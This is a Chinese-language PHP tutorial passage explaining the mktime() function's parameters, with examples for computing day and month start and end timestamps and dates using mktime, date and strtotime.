mktime() 函数用于返回一个日期的 Unix 时间戳。
mktime(hour,minute,second,month,day,year,is_dst)
参数 描述
hour 可选。规定小时。
minute 可选。规定分钟。
second 可选。规定秒。
month 可选。规定用数字表示的月。
day 可选。规定天。
year 可选。规定年。在某些系统上，合法值介于 1901 - 2038 之间。不过在 PHP 5 中已经不存在这个限制了。
is_dst
可选。如果时间在日光节约时间(DST)期间，则设置为1，否则设置为0，若未知，则设置为-1。
//php获取今日开始时间戳和结束时间戳
$beginToday=mktime(0,0,0,date('m'),date('d'),date('Y'));
$endToday=mktime(0,0,0,date('m'),date('d')+1,date('Y'))-1;
//php获取昨日起始时间戳和结束时间戳
$beginYesterday=mktime(0,0,0,date('m'),date('d')-1,date('Y'));

$beginThismonth=mktime(0,0,0,date('m'),1,date('Y'));
$endThismonth=mktime(23,59,59,date('m'),date('t'),date('Y'));
1.获取上个月第一天及最后一天.
echo date('Y-m-d', strtotime(date('Y-m-01') . ' -1 month')); // 计算出本月第一天再减一个月
echo date('Y-m-d', strtotime(date('Y-m-01') . ' -1 day')); // 计算出本月第一天再减一天
2.获取当月第一天及最后一天.
$BeginDate=date('Y-m-01', strtotime(date("Y-m-d")));
echo $BeginDate;
echo "<br/>";
echo date('Y-m-d', strtotime("$BeginDate +1 month -1 day"));
echo "<br/>";
3.获取当天年份、月份、日及天数.
echo " 本月共有:".date("t")."天";
echo " 当前年份".date('Y');
echo " 当前月份".date('m');
echo " 当前几号".date('d');
echo "<br/>";
4.使用函数及数组来获取当月第一天及最后一天,比较实用
function getthemonth($date){
$firstday = date('Y-m-01', strtotime($date));
$lastday = date('Y-m-d', strtotime("$firstday +1 month -1 day"));
return array($firstday,$lastday);
